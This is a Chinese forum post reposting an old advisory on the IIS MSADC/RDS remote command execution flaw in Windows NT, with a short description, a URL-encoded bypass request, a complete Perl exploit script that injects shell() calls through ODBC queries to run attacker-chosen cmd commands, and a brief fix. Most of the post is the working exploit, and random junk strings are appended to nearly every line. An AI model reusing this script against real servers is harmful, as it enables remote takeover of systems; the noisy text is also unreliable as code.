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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) :pvB}RYD  
{JQCfs  
涉及程序: jr/IU=u*v  
Microsoft NT server `APeS=< &  
y 'Ah*h  
描述: mv>-XJ+  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 G124! ^  
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详细: \hI|I!sDWy  
如果你没有时间读详细内容的话,就删除: 6G7+&g`  
c:\Program Files\Common Files\System\Msadc\msadcs.dll ng:B;; m  
有关的安全问题就没有了。 yb!/DaCd  
sq{=TB{  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 WOi+y   
}U|0F#0$  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 T'!p{Fbg;  
关于利用ODBC远程漏洞的描述,请参看: HutQx  
4Q:r83#  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm sGG q~7  
Cs2kbG_  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 lf#5X)V  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp = OzpI  
r6vI6|1  
这里不再论述。 ~DP5Qi  
IO7cRg'-F  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: lC@wCgc  
`*3;sq%`  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset Zs2;VW4RW  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! )=AWgA  
+]p/.- Uw  
p ^ ONJL  
#将下面这段保存为txt文件,然后: "perl -x 文件名" b8**M'k  
$}B&u)  
#!perl o)+C4f[G4  
# AjJ/t4<  
# MSADC/RDS 'usage' (aka exploit) script ;gLOd5*0  
# +V;d^&S  
# by rain.forest.puppy eOahr:Db  
# <Ok7 -:OxA  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me =^z*p9ZB  
# beta test and find errors! +mN8uU~(kx  
']N\y6=fn9  
use Socket; use Getopt::Std; `aSbGMz  
getopts("e:vd:h:XR", \%args); ZB]234`0  
[8>#b_>  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; &FG0v<f5Pv  
@ 6*eS+t\  
if (!defined $args{h} && !defined $args{R}) { lQxEiDIL  
print qq~ JFq<sY!  
Usage: msadc.pl -h <host> { -d <delay> -X -v } BwAmNW&i  
-h <host> = host you want to scan (ip or domain)  Q.Y6  
-d <seconds> = delay between calls, default 1 second 5=  V29  
-X = dump Index Server path table, if available @u`m6``T  
-v = verbose r{f$n  
-e = external dictionary file for step 5 +_jM$?:F}  
tMXNi\Bj  
Or a -R will resume a command session HkY#i;%N  
2b Fr8FUt-  
~; exit;} ~du U& \  
wUL 5"\  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; =CO'LyG  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} qpzyl~g:C  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} ^1<i7u  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); TaF;P GjVw  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} GNSh`Tm=#  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } uo ;m  
'T7Y5X80$j  
if (!defined $args{R}){ $ret = &has_msadc; 6PC?*^v  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} \7IT[<Se  
]f}(i D  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" CWJN{  
. "cmd /c "; AUES;2WL  
$in=<STDIN>; chomp $in; ?}= $zN  
$command="cmd /c " . $in ; f8G<5_!K_  
8~T=p:z'  
if (defined $args{R}) {&load; exit;} BK wo2=m~  
/82E[P"}6R  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; L[<CEk  
&try_btcustmr; ?{xD{f$  
&|' NDcp  
print "\nStep 2: Trying to make our own DSN..."; 4n1 g@A=y  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; #K iqV6E  
U* uMMb}$  
print "\nStep 3: Trying known DSNs..."; )*Wz5x  
&known_dsn; `$FB[Z} &  
1QnaZhu'  
print "\nStep 4: Trying known .mdbs..."; EQX<<x"  
&known_mdb; (:h&c6'S)b  
vZs~=nfi#|  
if (defined $args{e}){ W|(<z'S  
print "\nStep 5: Trying dictionary of DSN names..."; P% 8U  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } ;jO+<~YP!  
"KSdC8MS  
print "Sorry Charley...maybe next time?\n"; \ Co Z+  
exit; 4W<[& )7  
PO^#G @  
############################################################################## nZG zez  
. ~a~(|  
sub sendraw { # ripped and modded from whisker bH:C/P<x  
sleep($delay); # it's a DoS on the server! At least on mine... 73_-7'^mQ  
my ($pstr)=@_; Qz_4Ms<o  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || L$@+'Qn@:  
die("Socket problems\n"); 7]i6 Gk  
if(connect(S,pack "SnA4x8",2,80,$target)){ Z&=Oe^  
select(S); $|=1; 5@ Hg 4.  
print $pstr; my @in=<S>; fzAkUvo  
select(STDOUT); close(S); Og8%SnEpMI  
return @in; JSaF7(a =  
} else { die("Can't connect...\n"); }} DF-.|-^9I  
}_H\ 75Iv  
############################################################################## B]mMwqM#  
@\>7 wt_'  
sub make_header { # make the HTTP request 5H|7DVG  
my $msadc=<<EOT `.]oH1\  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 VW;E14  
User-Agent: ACTIVEDATA yS3or(K  
Host: $ip #\O'*mz  
Content-Length: $clen QIJ/'72  
Connection: Keep-Alive i [Wxu M  
{XD':2E  
ADCClientVersion:01.06 jM-5aj[K  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 l-x-  
|CQ0{1R1  
--!ADM!ROX!YOUR!WORLD! ]86*k %A  
Content-Type: application/x-varg H\a\xCP3  
Content-Length: $reqlen :)kHXOb.  
_::ssnG3jT  
EOT @hrIu" '!  
; $msadc=~s/\n/\r\n/g; ikb77 ?.  
return $msadc;} \((5Sd  
B@ ms Gb C  
############################################################################## tCA0H\';  
W1ndb:  
sub make_req { # make the RDS request rj?c   
my ($switch, $p1, $p2)=@_; }([}A`@  
my $req=""; my $t1, $t2, $query, $dsn; BWB}bq  
%c%`< y<~L  
if ($switch==1){ # this is the btcustmr.mdb query ZCMH?>  
$query="Select * from Customers where City=" . make_shell(); 8 @RJ>  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . LvZ',u}  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} $@L2zl1  
WMWUP ZsGS  
elsif ($switch==2){ # this is general make table query fvV"H{V,  
$query="create table AZZ (B int, C varchar(10))"; V ZtFgN$J  
$dsn="$p1";} Vl>KeZ+  
4]-7S l,  
elsif ($switch==3){ # this is general exploit table query PzhC *" i}  
$query="select * from AZZ where C=" . make_shell(); 3Wx\Liw,  
$dsn="$p1";} C@<gCMj,"  
#7}YSfm^6  
elsif ($switch==4){ # attempt to hork file info from index server xr7M#n  
$query="select path from scope()"; a`?Vc}&  
$dsn="Provider=MSIDXS;";}  5PC:4  
{wDe#c{_  
elsif ($switch==5){ # bad query <(yAat$H  
$query="select"; Q("4R  
$dsn="$p1";} `O;4 b#!g  
@P i]kWW})  
$t1= make_unicode($query); 2^w{Hcf  
$t2= make_unicode($dsn); Q}a(vlZ  
$req = "\x02\x00\x03\x00"; Z%=A[` 5]  
$req.= "\x08\x00" . pack ("S1", length($t1)); 5w+&plIJ  
$req.= "\x00\x00" . $t1 ; c~OvoTF,  
$req.= "\x08\x00" . pack ("S1", length($t2)); @D `j   
$req.= "\x00\x00" . $t2 ; PSX o"   
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; nV`W0r(f'  
return $req;} y9=<q%Kc-  
K8_\U0 K  
############################################################################## _}T )\o   
Gvvw:]WgF  
sub make_shell { # this makes the shell() statement <aI}+  
return "'|shell(\"$command\")|'";} Cb.M  
`U>2H4P  
############################################################################## (v? rZv  
B7'yc`)H  
sub make_unicode { # quick little function to convert to unicode Q&"oh  
my ($in)=@_; my $out; BMV\@Sg  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } |sP0z !)b  
return $out;} 6BM$u v4  
S1m5z,G  
############################################################################## #EB Rc4>,  
.b^!f<j  
sub rdo_success { # checks for RDO return success (this is kludge) >.G#\w  
my (@in) = @_; my $base=content_start(@in); Kc#1H|'2N  
if($in[$base]=~/multipart\/mixed/){ `R-?+76?  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} U3UA  
return 0;} '#.D`9YI<  
tDfHO1pS  
############################################################################## 475g-t2"@  
XD_!5+\H1  
sub make_dsn { # this makes a DSN for us T=@Ygjk  
my @drives=("c","d","e","f"); /W LZyT2  
print "\nMaking DSN: "; \=&Z_6Mu  
foreach $drive (@drives) { Gi2Fjq/Y  
print "$drive: "; *Tr{a_{~C  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . 8F's9c,  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" U\-.u3/  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); z^WY5~?  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; >&F:/   
return 0 if $2 eq "404"; # not found/doesn't exist ?C   
if($2 eq "200") { ?I"?J/zm  
foreach $line (@results) { Mm9*$g!R  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} XV`8Vb  
} return 0;} m| 7v76(  
oJ/=&c  
############################################################################## sBqOcy  
VwK7\j V  
sub verify_exists { Ai5+ ;8z+  
my ($page)=@_; 9>`dB  
my @results=sendraw("GET $page HTTP/1.0\n\n"); h'_$I4e)  
return $results[0];} aVr=7PeF  
BqA_C W  
############################################################################## |oe  
<E^;RG  
sub try_btcustmr { wx!2/I>  
my @drives=("c","d","e","f"); 9- 24c  
my @dirs=("winnt","winnt35","winnt351","win","windows"); lIO#)>  
5j9%W18  
foreach $dir (@dirs) { o=xMaA  
print "$dir -> "; # fun status so you can see progress 0<fQjXn  
foreach $drive (@drives) { NS*Lv  
print "$drive: "; # ditto |+>U91!  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; ?|!m  
$reqlenlen=length( "$reqlen" ); JRj{Q 1J  
$clen= 206 + $reqlenlen + $reqlen; :hR^?{9Z4>  
CJs ~!ww  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); ^),t=!;p  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} -9o7a_Z  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} +RkXe;q  
K,*-Y)v2W  
############################################################################## -7%dgY(  
/~c9'38  
sub odbc_error { 1&9w]\Ae7l  
my (@in)=@_; my $base; )a `kL,  
my $base = content_start(@in); Neii$  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this _g,_G  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; o& $lik  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; qG g29  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; sr(nd35  
return $in[$base+4].$in[$base+5].$in[$base+6];} [UB*39D7  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; 0W+RVp=TL1  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . [8oX[oP  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} Re'3bs:+  
8=?U7aw  
############################################################################## :1@jl2,  
E]^n\bE%  
sub verbose { dk]A,TB*2  
my ($in)=@_; <JvYCWX`  
return if !$verbose; a( N;| <  
print STDOUT "\n$in\n";} @uG/2'B(  
c%+uji6  
############################################################################## R9QW%!:,\2  
d5R2J:dI  
sub save { %Q;:nVt  
my ($p1, $p2, $p3, $p4)=@_; ,\d03wha  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; eW}-UeT  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; sN5Mm8~  
close OUT;} +~M.Vs X  
?Jgqb3+!o  
############################################################################## C 20VSwd  
8E9k7  
sub load { CoWT  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; &SPr#OkW  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); ilZ5a&X;  
@p=<IN>; close(IN); !0):g/2h  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); &+ H\ST(/  
$target= inet_aton($ip) || die("inet_aton problems"); I'N!j>5oX  
print "Resuming to $ip ..."; BuxU+  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; 'AmA3x)9u  
if($p[1]==1) { PGVP0H+RV  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; U#XW}T=|  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; :/RvtmW  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); J{L d)Q,^  
if (rdo_success(@results)){print "Success!\n";} #'RfwldD9  
else { print "failed\n"; verbose(odbc_error(@results));}} lTtc#  
elsif ($p[1]==3){ C+mPl+}w  
if(run_query("$p[3]")){ D}-HWJQA3  
print "Success!\n";} else { print "failed\n"; }} P*hYh5a  
elsif ($p[1]==4){ bQI.Qk  
if(run_query($drvst . "$p[3]")){ w6^TwjjZ$  
print "Success!\n"; } else { print "failed\n"; }} (Fq]y5  
exit;} oU*e=uehj  
Y ._O m}H  
############################################################################## -B-HZ_  
.f!:@fX>=  
sub create_table { G%h+KTw  
my ($in)=@_; 7;?7q  
$reqlen=length( make_req(2,$in,"") ) - 28; f3:dn7  
$reqlenlen=length( "$reqlen" ); RK)ikLgp  
$clen= 206 + $reqlenlen + $reqlen; |I|,6*)xg  
my @results=sendraw(make_header() . make_req(2,$in,"")); KxfH6:\RB  
return 1 if rdo_success(@results); 9C5F#(uY  
my $temp= odbc_error(@results); verbose($temp); ]I;owk,  
return 1 if $temp=~/Table 'AZZ' already exists/; o_ [I#PT  
return 0;} yBv4 xKMH  
NL!xk cXO  
############################################################################## 0TiDQ4}i[  
z: )*Aobwv  
sub known_dsn { 4FKgp|Y0  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go `q1-yH0~4  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", #sbW^Q'I  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", %L-{4Z!"sI  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); w[EEA_\  
n-<`Z NMU  
foreach $dSn (@dsns) { T~p>Ed9  
print "."; NvpDi&i  
next if (!is_access("DSN=$dSn")); OGq=OW  
if(create_table("DSN=$dSn")){ L[Wi[S6=)g  
print "$dSn successful\n"; 7~QAprwVS  
if(run_query("DSN=$dSn")){ th0>u.hJ  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { Dr}elR>~G=  
print "Something's borked. Use verbose next time\n";}}} print "\n";} E|6@h8 #  
\Z~ <jv  
############################################################################## vJ&35nF&  
hWbjA[a/  
sub is_access { Oj2=&uz  
my ($in)=@_; V {}TG]  
$reqlen=length( make_req(5,$in,"") ) - 28; gDX\ p>7  
$reqlenlen=length( "$reqlen" ); YC*`n3D|'  
$clen= 206 + $reqlenlen + $reqlen; -YipPo"a  
my @results=sendraw(make_header() . make_req(5,$in,"")); X'2%'z<  
my $temp= odbc_error(@results); CwO$EL:[`  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); ~4ijiw$  
return 0;} -, $:^4  
1Va@w  
############################################################################## wMM1Q/-#  
eYv+tjIF  
sub run_query { ksYPF&l  
my ($in)=@_; H;FzWcm  
$reqlen=length( make_req(3,$in,"") ) - 28; :"+3Uk2  
$reqlenlen=length( "$reqlen" ); Imo?)dYK  
$clen= 206 + $reqlenlen + $reqlen; mt-t8~A  
my @results=sendraw(make_header() . make_req(3,$in,"")); =Q!V6+}nY^  
return 1 if rdo_success(@results); j?! /#'  
my $temp= odbc_error(@results); verbose($temp); G/KTF2wl7  
return 0;} Jd33QL}Hj  
]\3<UL  
############################################################################## W9A F}  
9*CRMkPrd  
sub known_mdb { C{V,=Fo^  
my @drives=("c","d","e","f","g"); +# @2,  
my @dirs=("winnt","winnt35","winnt351","win","windows"); rFto1m  
my $dir, $drive, $mdb; !Jaj2mS.N  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; mDA1$fj"  
pq]>Ep  
# this is sparse, because I don't know of many ^3Z~RK\}  
my @sysmdbs=( "\\catroot\\icatalog.mdb", 36 ]?4, .  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", S&'-wA Ed  
"\\system32\\certmdb.mdb", mxCqN1:#  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% jZq CM{  
Q+E)_5_sA  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", z+nq<%"'  
"\\cfusion\\cfapps\\forums\\forums_.mdb", 08nA}+k  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", "s\himoa  
"\\cfusion\\cfapps\\security\\realm_.mdb", ,k,+UisG  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", k_ijVfI9  
"\\cfusion\\database\\cfexamples.mdb", qK&h$;~*y  
"\\cfusion\\database\\cfsnippets.mdb", 9]a!1  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", 3u= >Y^wu  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", x\5\KGw16  
"\\cfusion\\brighttiger\\database\\cleam.mdb", ^=w){]G  
"\\cfusion\\database\\smpolicy.mdb", e]7J_9t@  
"\\cfusion\\database\cypress.mdb", rmhL|! Y  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", d-#yN:}0  
"\\website\\cgi-win\\dbsample.mdb", VCUsvhI  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", FC8#XZp  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" zUJPINDb  
); #these are just l>@){zxL  
foreach $drive (@drives) { kBrU%[0O  
foreach $dir (@dirs){ K1-y[pS]E  
foreach $mdb (@sysmdbs) { `q?@ Ob&  
print "."; r59BBW)M  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ qmbhx9V   
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; +J:wAmY4  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ TiSV`V q  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; "'U]4Z%q!  
} else { print "Something's borked. Use verbose next time\n"; }}}}} 5Fa/Q>N  
~@'DYZb- H  
foreach $drive (@drives) { I<$m%  
foreach $mdb (@mdbs) { F3<Ip~K  
print "."; e u?DSad  
if(create_table($drv . $drive . $dir . $mdb)){ Zex`n:Wl?j  
print "\n" . $drive . $dir . $mdb . " successful\n"; >W=^>8u  
if(run_query($drv . $drive . $dir . $mdb)){ M[Mx g  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; 3aEO9v,n  
} else { print "Something's borked. Use verbose next time\n"; }}}} EdS7m,d  
} cK1RmL"3  
Q Pp>%iE@  
############################################################################## @s~*>k#"#  
Ve\P,.  
sub hork_idx { =_,j89E  
print "\nAttempting to dump Index Server tables...\n"; Y j*Y*LB~  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; )W3kBDD  
$reqlen=length( make_req(4,"","") ) - 28; =-n7/  
$reqlenlen=length( "$reqlen" ); ,\0>d}eh !  
$clen= 206 + $reqlenlen + $reqlen; bODyJ7=[  
my @results=sendraw2(make_header() . make_req(4,"","")); _qq>-{-Ym  
if (rdo_success(@results)){ ,M$ J yda  
my $max=@results; my $c; my %d; h>&t``<  
for($c=19; $c<$max; $c++){ 7>yb8/J  
$results[$c]=~s/\x00//g; &%`0&y  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; SI/p8 ^  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; j+NpQ}t:  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; km9@*@)  
$d{"$1$2"}="";} (, 2U?p  
foreach $c (keys %d){ print "$c\n"; } e^Glgaf  
} else {print "Index server doesn't seem to be installed.\n"; }} VyxX5Lrj  
TvwkeOS#}7  
############################################################################## ;&]oV`Ib  
U&SgB[QHO  
sub dsn_dict { P(Q}r 7F~(  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); o.KE=zp&z  
while(<IN>){ zr[|~-  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; 4W36VtQ@E  
next if (!is_access("DSN=$dSn")); 0;x<0P  
if(create_table("DSN=$dSn")){ L QA6iZBP  
print "$dSn successful\n"; #]FJx  
if(run_query("DSN=$dSn")){ 1c}LX.9K  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { oq9gG)F  
print "Something's borked. Use verbose next time\n";}}} }tUr V   
print "\n"; close(IN);} m$bDWxm#e  
s. jcD  
############################################################################## Bz*6M  
P_%kYcX'  
sub sendraw2 { # ripped and modded from whisker 5{O9<~,  
sleep($delay); # it's a DoS on the server! At least on mine... {.D/MdwW;  
my ($pstr)=@_; pl5Q2zq%  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || W,sPg\G 3  
die("Socket problems\n"); <%EjrjdvL+  
if(connect(S,pack "SnA4x8",2,80,$target)){ K{[N.dX(  
print "Connected. Getting data"; !:9s>0';N  
open(OUT,">raw.out"); my @in; X(fT[A_2C  
select(S); $|=1; print $pstr; f l*O)r  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} [eO6 H2@=z  
close(OUT); select(STDOUT); close(S); return @in; Lt\=E8&rh  
} else { die("Can't connect...\n"); }} K:8. Dvn  
B*T;DE   
############################################################################## g,d'&r"JWt  
wQw y+S  
sub content_start { # this will take in the server headers \K(QE ~y'W  
my (@in)=@_; my $c; |g8Q.*"l[  
for ($c=1;$c<500;$c++) { n`2LGc[rP  
if($in[$c] =~/^\x0d\x0a/){ T +~ _D  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } [pYjH+<  
else { return $c+1; }}} 6T ,'Oz  
return -1;} # it should never get here actually ZRLS3*`  
w@&(=C  
############################################################################## wl:[Ad  
Q9NKQuSu  
sub funky { Y<9]7R(\;  
my (@in)=@_; my $error=odbc_error(@in); cSWn4-B@l  
if($error=~/ADO could not find the specified provider/){ l F*x\AT  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; ?_+8K`B  
exit;} (|U|>@  
if($error=~/A Handler is required/){ 1@{qPmf^  
print "\nServer has custom handler filters (they most likely are patched)\n"; J\c\Ar :  
exit;} !;h`J:dN  
if($error=~/specified Handler has denied Access/){ wTkcR^  
print "\nServer has custom handler filters (they most likely are patched)\n"; k~HS_b*]d  
exit;}} YH/3N(],  
6 P U]I+  
############################################################################## +je{%,*  
}Z3+z@L  
sub has_msadc { ~5sH`w~vQ  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); U t'r^  
my $base=content_start(@results); &NB"[Mm:@  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); 5;_&C=[  
return 0;} i*2l4  
m(eR Wx&pZ  
######################## 2(iv+<t  
B96"|v$  
vD'YLn%Q  
解决方案: .:V4>  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll d gRTV<vM  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 C:$pAE(  
fgEMn;  
拿出来充数 哈哈
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